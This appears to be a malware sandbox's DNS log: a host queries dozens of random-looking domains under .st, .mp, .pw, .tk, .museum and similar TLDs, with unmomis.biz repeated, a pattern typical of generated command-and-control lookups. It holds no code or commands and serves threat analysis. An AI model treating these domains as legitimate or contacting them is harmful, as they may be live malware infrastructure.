Sep 7, 2024 15:32:29.153697014 CEST	192.168.2.7	1.1.1.1	0xc1e3	Standard query (0)	cshsxz.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:29.427093029 CEST	192.168.2.7	1.1.1.1	0xc1e3	Standard query (0)	cshsxz.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:29.506078005 CEST	192.168.2.7	1.1.1.1	0x2564	Standard query (0)	rmyyrqzoyqrzn.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:29.633861065 CEST	192.168.2.7	1.1.1.1	0xbd94	Standard query (0)	rmyyrqzoyqrzn.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:29.803455114 CEST	192.168.2.7	1.1.1.1	0x6986	Standard query (0)	gvletfndkecak.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:30.047389030 CEST	192.168.2.7	1.1.1.1	0xf97a	Standard query (0)	gvletfndkecak.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:30.224816084 CEST	192.168.2.7	1.1.1.1	0x65cc	Standard query (0)	ucntubnec.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:30.262866974 CEST	192.168.2.7	1.1.1.1	0x19fa	Standard query (0)	ucntubnec.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:30.381009102 CEST	192.168.2.7	1.1.1.1	0x3ac8	Standard query (0)	kdeumql.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:30.479425907 CEST	192.168.2.7	1.1.1.1	0xc8f2	Standard query (0)	kdeumql.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:30.755172968 CEST	192.168.2.7	1.1.1.1	0xc8f2	Standard query (0)	kdeumql.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:31.552522898 CEST	192.168.2.7	1.1.1.1	0xf8e5	Standard query (0)	lhzyzzuuilgab.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:31.572295904 CEST	192.168.2.7	1.1.1.1	0xac7a	Standard query (0)	lhzyzzuuilgab.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:31.650609970 CEST	192.168.2.7	1.1.1.1	0x6cf2	Standard query (0)	bedcmatyd.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:31.701605082 CEST	192.168.2.7	1.1.1.1	0x83f5	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:31.712634087 CEST	192.168.2.7	1.1.1.1	0x6f39	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:31.803204060 CEST	192.168.2.7	1.1.1.1	0x8194	Standard query (0)	spueu.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:31.851767063 CEST	192.168.2.7	1.1.1.1	0x6ac0	Standard query (0)	spueu.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:31.959182024 CEST	192.168.2.7	1.1.1.1	0x810b	Standard query (0)	zeyiiqcjudu.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:31.994878054 CEST	192.168.2.7	1.1.1.1	0x5603	Standard query (0)	zeyiiqcjudu.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:32.099610090 CEST	192.168.2.7	1.1.1.1	0x39ea	Standard query (0)	kuseayqsaa.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:32.293278933 CEST	192.168.2.7	1.1.1.1	0x127a	Standard query (0)	kuseayqsaa.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:32.631494999 CEST	192.168.2.7	1.1.1.1	0x41ea	Standard query (0)	olamnewqesk.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:32.654673100 CEST	192.168.2.7	1.1.1.1	0x2317	Standard query (0)	olamnewqesk.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:32.742765903 CEST	192.168.2.7	1.1.1.1	0xdbf3	Standard query (0)	iwvmknkqlcwdpu.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:32.756541967 CEST	192.168.2.7	1.1.1.1	0x7476	Standard query (0)	iwvmknkqlcwdpu.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:32.833728075 CEST	192.168.2.7	1.1.1.1	0xb202	Standard query (0)	sodefbuwgjt.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:33.080737114 CEST	192.168.2.7	1.1.1.1	0x2fe0	Standard query (0)	sodefbuwgjt.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:33.396339893 CEST	192.168.2.7	1.1.1.1	0x33a	Standard query (0)	crsvs.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:33.663598061 CEST	192.168.2.7	1.1.1.1	0xb47	Standard query (0)	crsvs.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:33.772156954 CEST	192.168.2.7	1.1.1.1	0x379e	Standard query (0)	sooyqhceeuw.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:33.881439924 CEST	192.168.2.7	1.1.1.1	0x3322	Standard query (0)	sicjrco.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:33.894252062 CEST	192.168.2.7	1.1.1.1	0xc332	Standard query (0)	sicjrco.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:34.006580114 CEST	192.168.2.7	1.1.1.1	0x655f	Standard query (0)	mawkmugiuym.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:34.019788980 CEST	192.168.2.7	1.1.1.1	0x974d	Standard query (0)	mawkmugiuym.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:34.100164890 CEST	192.168.2.7	1.1.1.1	0x463c	Standard query (0)	ilgewoo.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:34.372082949 CEST	192.168.2.7	1.1.1.1	0xdbaf	Standard query (0)	ilgewoo.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:34.474397898 CEST	192.168.2.7	1.1.1.1	0x7b3d	Standard query (0)	euuom.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:34.578905106 CEST	192.168.2.7	1.1.1.1	0x202c	Standard query (0)	euuom.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:34.848877907 CEST	192.168.2.7	1.1.1.1	0x202c	Standard query (0)	euuom.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:35.385801077 CEST	192.168.2.7	1.1.1.1	0xeec4	Standard query (0)	scawmtgknkecj.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:35.631634951 CEST	192.168.2.7	1.1.1.1	0x42cd	Standard query (0)	scawmtgknkecj.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:35.944401026 CEST	192.168.2.7	1.1.1.1	0x9221	Standard query (0)	ruzeynr.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:35.984189987 CEST	192.168.2.7	1.1.1.1	0x6cf	Standard query (0)	ruzeynr.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:36.083756924 CEST	192.168.2.7	1.1.1.1	0x8999	Standard query (0)	okwkkycrsduhw.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:36.193176031 CEST	192.168.2.7	1.1.1.1	0x9a37	Standard query (0)	ugwwofeoio.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:36.470865965 CEST	192.168.2.7	1.1.1.1	0x994d	Standard query (0)	ugwwofeoio.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:36.583774090 CEST	192.168.2.7	1.1.1.1	0x657b	Standard query (0)	kbisc.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:36.620090008 CEST	192.168.2.7	1.1.1.1	0x9c38	Standard query (0)	kbisc.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:36.725332975 CEST	192.168.2.7	1.1.1.1	0x7afa	Standard query (0)	pzxzcgj.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:36.743602991 CEST	192.168.2.7	1.1.1.1	0x2ed2	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:36.753278017 CEST	192.168.2.7	1.1.1.1	0x5efa	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:36.835985899 CEST	192.168.2.7	1.1.1.1	0x2bad	Standard query (0)	ncmre.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:36.936352015 CEST	192.168.2.7	1.1.1.1	0x2fcd	Standard query (0)	ncmre.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:37.115281105 CEST	192.168.2.7	1.1.1.1	0xbfe2	Standard query (0)	voomgpoigqg.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:37.174340963 CEST	192.168.2.7	1.1.1.1	0xca8e	Standard query (0)	voomgpoigqg.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:37.286930084 CEST	192.168.2.7	1.1.1.1	0x3332	Standard query (0)	tdeimvcykioj.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:37.533703089 CEST	192.168.2.7	1.1.1.1	0x17ef	Standard query (0)	tdeimvcykioj.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:37.837451935 CEST	192.168.2.7	1.1.1.1	0xdf4f	Standard query (0)	dovrmtcu.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:37.855516911 CEST	192.168.2.7	1.1.1.1	0x5d34	Standard query (0)	dovrmtcu.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:37.928275108 CEST	192.168.2.7	1.1.1.1	0x457e	Standard query (0)	gaevfusgoc.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:38.200582981 CEST	192.168.2.7	1.1.1.1	0xfcc	Standard query (0)	gaevfusgoc.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:38.303769112 CEST	192.168.2.7	1.1.1.1	0xbb38	Standard query (0)	amcqbymk.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:38.479334116 CEST	192.168.2.7	1.1.1.1	0x4e2d	Standard query (0)	amcqbymk.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:38.708635092 CEST	192.168.2.7	1.1.1.1	0x81c8	Standard query (0)	enokudiliwi.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:38.721999884 CEST	192.168.2.7	1.1.1.1	0x7647	Standard query (0)	enokudiliwi.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:38.809669018 CEST	192.168.2.7	1.1.1.1	0xa8b0	Standard query (0)	iskhcigwkvdpoz.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:39.063450098 CEST	192.168.2.7	1.1.1.1	0x4534	Standard query (0)	iskhcigwkvdpoz.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:39.302649021 CEST	192.168.2.7	1.1.1.1	0x6ebb	Standard query (0)	vduxgekeesug.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:39.594167948 CEST	192.168.2.7	1.1.1.1	0x6ebb	Standard query (0)	vduxgekeesug.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:39.649112940 CEST	192.168.2.7	1.1.1.1	0xa2b4	Standard query (0)	vduxgekeesug.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:39.880831957 CEST	192.168.2.7	1.1.1.1	0xe0f4	Standard query (0)	mtpspkdykux.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:39.892824888 CEST	192.168.2.7	1.1.1.1	0xe7f2	Standard query (0)	mtpspkdykux.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:39.974313974 CEST	192.168.2.7	1.1.1.1	0xb22e	Standard query (0)	zimjctbzm.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:40.012223005 CEST	192.168.2.7	1.1.1.1	0x64dd	Standard query (0)	zimjctbzm.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:40.116787910 CEST	192.168.2.7	1.1.1.1	0x561	Standard query (0)	gcwol.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:40.353399992 CEST	192.168.2.7	1.1.1.1	0x10d9	Standard query (0)	gcwol.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:40.663589001 CEST	192.168.2.7	1.1.1.1	0x57a2	Standard query (0)	jgucgaawejuuw.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:40.769227982 CEST	192.168.2.7	1.1.1.1	0x8405	Standard query (0)	jgucgaawejuuw.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:41.069828033 CEST	192.168.2.7	1.1.1.1	0xb2bb	Standard query (0)	seoojlsinux.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:41.162180901 CEST	192.168.2.7	1.1.1.1	0x7b27	Standard query (0)	egbwheeqrkp.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:41.174834013 CEST	192.168.2.7	1.1.1.1	0x1eff	Standard query (0)	egbwheeqrkp.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:41.256269932 CEST	192.168.2.7	1.1.1.1	0x595c	Standard query (0)	wwmomgmzcuogux.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:41.302874088 CEST	192.168.2.7	1.1.1.1	0x71e2	Standard query (0)	wwmomgmzcuogux.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:41.396078110 CEST	192.168.2.7	1.1.1.1	0x24d7	Standard query (0)	mvrooosmgqanq.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:41.415268898 CEST	192.168.2.7	1.1.1.1	0xdabf	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:41.427784920 CEST	192.168.2.7	1.1.1.1	0xf5ef	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:41.505667925 CEST	192.168.2.7	1.1.1.1	0x5df5	Standard query (0)	wqfmmmssa.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:41.613832951 CEST	192.168.2.7	1.1.1.1	0x3762	Standard query (0)	wqfmmmssa.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:41.771224976 CEST	192.168.2.7	1.1.1.1	0x8382	Standard query (0)	sgykkmj.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:41.806310892 CEST	192.168.2.7	1.1.1.1	0xb84b	Standard query (0)	sgykkmj.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:41.884648085 CEST	192.168.2.7	1.1.1.1	0xa5ab	Standard query (0)	yusswcr.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:42.129900932 CEST	192.168.2.7	1.1.1.1	0x26e0	Standard query (0)	yusswcr.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:42.427813053 CEST	192.168.2.7	1.1.1.1	0xe2f6	Standard query (0)	kiqtkgket.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:42.668113947 CEST	192.168.2.7	1.1.1.1	0x1791	Standard query (0)	kiqtkgket.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:42.927436113 CEST	192.168.2.7	1.1.1.1	0xb24a	Standard query (0)	kqkxiogyhafi.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:42.964027882 CEST	192.168.2.7	1.1.1.1	0x6369	Standard query (0)	kqkxiogyhafi.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:43.071005106 CEST	192.168.2.7	1.1.1.1	0x7044	Standard query (0)	oqqhbcoxcyqsw.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:43.108685017 CEST	192.168.2.7	1.1.1.1	0xf5ff	Standard query (0)	oqqhbcoxcyqsw.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:43.224507093 CEST	192.168.2.7	1.1.1.1	0x5722	Standard query (0)	kvaqewnz.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:43.320013046 CEST	192.168.2.7	1.1.1.1	0x52cb	Standard query (0)	wwocl.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:43.346590996 CEST	192.168.2.7	1.1.1.1	0x11d5	Standard query (0)	wwocl.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:43.427452087 CEST	192.168.2.7	1.1.1.1	0x9f3a	Standard query (0)	vqnywntafnmpk.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:43.593583107 CEST	192.168.2.7	1.1.1.1	0xc7c2	Standard query (0)	vqnywntafnmpk.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:43.850347996 CEST	192.168.2.7	1.1.1.1	0x4889	Standard query (0)	qmqhowr.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:43.868987083 CEST	192.168.2.7	1.1.1.1	0x8865	Standard query (0)	qmqhowr.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:43.943793058 CEST	192.168.2.7	1.1.1.1	0x91ad	Standard query (0)	ietwickcse.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:44.186314106 CEST	192.168.2.7	1.1.1.1	0x1e83	Standard query (0)	ietwickcse.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:44.490434885 CEST	192.168.2.7	1.1.1.1	0x6f12	Standard query (0)	uufmo.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:44.504077911 CEST	192.168.2.7	1.1.1.1	0xecbd	Standard query (0)	uufmo.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:44.599656105 CEST	192.168.2.7	1.1.1.1	0x4b79	Standard query (0)	yurwweldkbjesn.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:44.616576910 CEST	192.168.2.7	1.1.1.1	0xc3b9	Standard query (0)	yurwweldkbjesn.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:44.695219040 CEST	192.168.2.7	1.1.1.1	0x67ff	Standard query (0)	kscqiwevyqu.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:44.721646070 CEST	192.168.2.7	1.1.1.1	0x33a0	Standard query (0)	kscqiwevyqu.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:44.802313089 CEST	192.168.2.7	1.1.1.1	0xbebd	Standard query (0)	aesuwhvsk.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:44.837613106 CEST	192.168.2.7	1.1.1.1	0xc82b	Standard query (0)	aesuwhvsk.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:44.911705971 CEST	192.168.2.7	1.1.1.1	0x6283	Standard query (0)	nxcvuk.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:45.151660919 CEST	192.168.2.7	1.1.1.1	0x7521	Standard query (0)	nxcvuk.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:45.302402020 CEST	192.168.2.7	1.1.1.1	0x4949	Standard query (0)	kszugzq.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:45.347167969 CEST	192.168.2.7	1.1.1.1	0xaf25	Standard query (0)	kszugzq.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:45.445131063 CEST	192.168.2.7	1.1.1.1	0x1b47	Standard query (0)	fmslnmq.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:45.482953072 CEST	192.168.2.7	1.1.1.1	0x8e85	Standard query (0)	fmslnmq.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:45.803268909 CEST	192.168.2.7	1.1.1.1	0x7873	Standard query (0)	aawwbcseutmfcl.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:45.818011999 CEST	192.168.2.7	1.1.1.1	0xcc5f	Standard query (0)	aawwbcseutmfcl.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:45.880587101 CEST	192.168.2.7	1.1.1.1	0x7ba3	Standard query (0)	hezceuiftke.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:46.169605017 CEST	192.168.2.7	1.1.1.1	0x7996	Standard query (0)	hezceuiftke.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:46.475670099 CEST	192.168.2.7	1.1.1.1	0xfcfd	Standard query (0)	ocqyuj.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:46.530729055 CEST	192.168.2.7	1.1.1.1	0xd58b	Standard query (0)	ocqyuj.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:46.616930008 CEST	192.168.2.7	1.1.1.1	0xc771	Standard query (0)	nqwrhwh.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:46.653615952 CEST	192.168.2.7	1.1.1.1	0x9f3f	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:46.671328068 CEST	192.168.2.7	1.1.1.1	0x25a	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:46.739905119 CEST	192.168.2.7	1.1.1.1	0x5bc	Standard query (0)	kvubzmczh.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:46.833722115 CEST	192.168.2.7	1.1.1.1	0x3034	Standard query (0)	zadykwd.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:46.927359104 CEST	192.168.2.7	1.1.1.1	0x767e	Standard query (0)	axgswoeox.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:47.191685915 CEST	192.168.2.7	1.1.1.1	0xc1f2	Standard query (0)	axgswoeox.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:47.255568027 CEST	192.168.2.7	1.1.1.1	0x6ffe	Standard query (0)	exslboec.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:47.536467075 CEST	192.168.2.7	1.1.1.1	0x6ffe	Standard query (0)	exslboec.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:47.612234116 CEST	192.168.2.7	1.1.1.1	0x6e39	Standard query (0)	exslboec.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:47.772136927 CEST	192.168.2.7	1.1.1.1	0x77ec	Standard query (0)	xydqmq.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:47.785419941 CEST	192.168.2.7	1.1.1.1	0x3046	Standard query (0)	xydqmq.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:47.850233078 CEST	192.168.2.7	1.1.1.1	0x7a8e	Standard query (0)	ureufjfscvw.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:47.865659952 CEST	192.168.2.7	1.1.1.1	0xcb15	Standard query (0)	ureufjfscvw.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:47.942966938 CEST	192.168.2.7	1.1.1.1	0x3560	Standard query (0)	qukaoenppdr.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:47.956330061 CEST	192.168.2.7	1.1.1.1	0x56c1	Standard query (0)	qukaoenppdr.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:48.022150993 CEST	192.168.2.7	1.1.1.1	0x3f87	Standard query (0)	wuaqmwmuq.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:48.040853024 CEST	192.168.2.7	1.1.1.1	0xecd	Standard query (0)	wuaqmwmuq.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:48.115190983 CEST	192.168.2.7	1.1.1.1	0x894c	Standard query (0)	yoieyaauosuop.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:48.219985962 CEST	192.168.2.7	1.1.1.1	0x26fc	Standard query (0)	yoieyaauosuop.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:48.380844116 CEST	192.168.2.7	1.1.1.1	0x6be5	Standard query (0)	eqbfeahpasxa.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:48.392304897 CEST	192.168.2.7	1.1.1.1	0x6e97	Standard query (0)	eqbfeahpasxa.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:48.474919081 CEST	192.168.2.7	1.1.1.1	0x3d62	Standard query (0)	dufzmo.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:48.590262890 CEST	192.168.2.7	1.1.1.1	0x3d6	Standard query (0)	dufzmo.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:48.757886887 CEST	192.168.2.7	1.1.1.1	0x53d2	Standard query (0)	gkqkubfq.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:48.794928074 CEST	192.168.2.7	1.1.1.1	0xa70c	Standard query (0)	gkqkubfq.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:48.896739960 CEST	192.168.2.7	1.1.1.1	0x50a0	Standard query (0)	yhhsuyuy.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:48.909992933 CEST	192.168.2.7	1.1.1.1	0x1fd0	Standard query (0)	yhhsuyuy.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:48.975313902 CEST	192.168.2.7	1.1.1.1	0x4c4f	Standard query (0)	yqufyzcii.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:48.994570017 CEST	192.168.2.7	1.1.1.1	0xd8e8	Standard query (0)	yqufyzcii.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:49.068346977 CEST	192.168.2.7	1.1.1.1	0x6e08	Standard query (0)	aokmmn.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:49.090836048 CEST	192.168.2.7	1.1.1.1	0xf813	Standard query (0)	aokmmn.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:49.161745071 CEST	192.168.2.7	1.1.1.1	0x2ff0	Standard query (0)	rgynpqeeyvwhea.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:49.320787907 CEST	192.168.2.7	1.1.1.1	0x46da	Standard query (0)	oxiokjsmy.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:49.375956059 CEST	192.168.2.7	1.1.1.1	0xb8ae	Standard query (0)	oxiokjsmy.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:49.474689960 CEST	192.168.2.7	1.1.1.1	0x6e42	Standard query (0)	kkukybacbc.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:49.489087105 CEST	192.168.2.7	1.1.1.1	0xd202	Standard query (0)	kkukybacbc.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:49.554496050 CEST	192.168.2.7	1.1.1.1	0xeff8	Standard query (0)	ggguy.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:49.591701031 CEST	192.168.2.7	1.1.1.1	0xab1c	Standard query (0)	ggguy.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:49.693016052 CEST	192.168.2.7	1.1.1.1	0xb68d	Standard query (0)	ukympeomsmgamx.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:49.833076000 CEST	192.168.2.7	1.1.1.1	0xf4a9	Standard query (0)	ukympeomsmgamx.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:49.990677118 CEST	192.168.2.7	1.1.1.1	0x5d2a	Standard query (0)	mkudp.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:50.095176935 CEST	192.168.2.7	1.1.1.1	0xa4a8	Standard query (0)	mkudp.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:50.255925894 CEST	192.168.2.7	1.1.1.1	0x8284	Standard query (0)	tggrkab.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:50.333570004 CEST	192.168.2.7	1.1.1.1	0x5599	Standard query (0)	iwoanvgfgcosi.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:50.624022007 CEST	192.168.2.7	1.1.1.1	0x7283	Standard query (0)	iwoanvgfgcosi.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:50.849512100 CEST	192.168.2.7	1.1.1.1	0x5e8f	Standard query (0)	ubimxwueei.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:50.898566008 CEST	192.168.2.7	1.1.1.1	0xd7e0	Standard query (0)	ubimxwueei.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:50.990431070 CEST	192.168.2.7	1.1.1.1	0xa7b6	Standard query (0)	wjqkjllxvdqas.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:51.096369982 CEST	192.168.2.7	1.1.1.1	0x21de	Standard query (0)	wjqkjllxvdqas.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:51.367711067 CEST	192.168.2.7	1.1.1.1	0x21de	Standard query (0)	wjqkjllxvdqas.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:51.443288088 CEST	192.168.2.7	1.1.1.1	0xe1e4	Standard query (0)	cqpowqxlcjy.mp	A (IP address)	IN (0x0001)	false
